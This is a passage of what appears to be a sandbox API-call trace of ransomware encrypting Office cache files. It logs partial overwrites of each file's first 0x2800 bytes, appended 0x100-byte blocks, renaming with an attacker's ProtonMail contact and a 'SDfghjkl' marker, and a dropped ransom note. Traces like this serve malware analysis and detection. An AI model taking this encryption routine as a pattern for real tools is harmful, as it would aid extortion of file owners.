[0050.815] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0050.815] GetProcessHeap () returned 0x2e0000
[0050.815] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0050.815] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0050.815] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0050.884] CloseHandle (hObject=0x110) returned 1
[0050.885] GetProcessHeap () returned 0x2e0000
[0050.885] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0050.885] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 126
[0050.885] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0050.886] GetProcessHeap () returned 0x2e0000
[0050.886] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0050.886] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0
[0050.886] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\Instructions with your files.txt") returned 104
[0050.886] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0050.886] WriteFile (in: hFile=0x110, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecee84*=0x54, lpOverlapped=0x0) returned 1
[0050.887] WriteFile (in: hFile=0x110, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecee84*=0x18, lpOverlapped=0x0) returned 1
[0050.887] WriteFile (in: hFile=0x110, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecee84*=0xc, lpOverlapped=0x0) returned 1
[0050.887] WriteFile (in: hFile=0x110, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecee84*=0x16, lpOverlapped=0x0) returned 1
[0050.887] WriteFile (in: hFile=0x110, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecee84*=0x23, lpOverlapped=0x0) returned 1
[0050.887] CloseHandle (hObject=0x110) returned 1
[0050.888] FindClose (in: hFindFile=0x300570 | out: hFindFile=0x300570) returned 1
[0050.888] GetProcessHeap () returned 0x2e0000
[0050.888] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.888] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1
[0050.888] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 79
[0050.888] StrStrIW (lpFirst="branding.xml", lpSrch="SDfghjkl") returned 0x0
[0050.888] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0051.936] GetProcessHeap () returned 0x2e0000
[0051.936] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0051.936] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0051.952] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0051.952] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0051.959] GetProcessHeap () returned 0x2e0000
[0051.959] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0051.959] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0051.959] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.280] CloseHandle (hObject=0x10c) returned 1
[0052.286] GetProcessHeap () returned 0x2e0000
[0052.286] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.286] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0052.286] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.286] GetProcessHeap () returned 0x2e0000
[0052.286] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.286] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1
[0052.287] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 75
[0052.287] StrStrIW (lpFirst="DW20.EXE", lpSrch="SDfghjkl") returned 0x0
[0052.287] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.288] GetProcessHeap () returned 0x2e0000
[0052.288] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.288] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.292] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.292] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.292] GetProcessHeap () returned 0x2e0000
[0052.292] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.293] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.293] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.295] CloseHandle (hObject=0x10c) returned 1
[0052.296] GetProcessHeap () returned 0x2e0000
[0052.296] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.296] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 117
[0052.296] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.296] GetProcessHeap () returned 0x2e0000
[0052.296] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.296] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1
[0052.296] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 78
[0052.296] StrStrIW (lpFirst="dwdcw20.dll", lpSrch="SDfghjkl") returned 0x0
[0052.296] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.297] GetProcessHeap () returned 0x2e0000
[0052.297] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.297] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.299] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.299] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.299] GetProcessHeap () returned 0x2e0000
[0052.299] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.299] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.299] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.301] CloseHandle (hObject=0x10c) returned 1
[0052.301] GetProcessHeap () returned 0x2e0000
[0052.301] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.301] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0052.301] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.302] GetProcessHeap () returned 0x2e0000
[0052.302] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.302] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1
[0052.302] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 79
[0052.302] StrStrIW (lpFirst="dwtrig20.exe", lpSrch="SDfghjkl") returned 0x0
[0052.302] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.302] GetProcessHeap () returned 0x2e0000
[0052.302] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.302] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.304] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.304] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.304] GetProcessHeap () returned 0x2e0000
[0052.304] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.304] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.305] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.306] CloseHandle (hObject=0x10c) returned 1
[0052.307] GetProcessHeap () returned 0x2e0000
[0052.307] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.307] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0052.307] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.307] GetProcessHeap () returned 0x2e0000
[0052.307] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.307] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1
[0052.307] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 94
[0052.307] StrStrIW (lpFirst="Microsoft.VC90.CRT.manifest", lpSrch="SDfghjkl") returned 0x0
[0052.307] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.308] GetProcessHeap () returned 0x2e0000
[0052.308] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.308] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x741, lpOverlapped=0x0) returned 1
[0052.310] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff8bf, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.310] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x741, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x741, lpOverlapped=0x0) returned 1
[0052.310] GetProcessHeap () returned 0x2e0000
[0052.310] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.310] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.310] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.310] CloseHandle (hObject=0x10c) returned 1
[0052.310] GetProcessHeap () returned 0x2e0000
[0052.310] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.310] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 136
[0052.310] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.311] GetProcessHeap () returned 0x2e0000
[0052.311] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.311] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1
[0052.311] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 78
[0052.311] StrStrIW (lpFirst="msvcr90.dll", lpSrch="SDfghjkl") returned 0x0
[0052.311] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.311] GetProcessHeap () returned 0x2e0000
[0052.311] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.311] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.313] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.313] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.313] GetProcessHeap () returned 0x2e0000
[0052.313] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
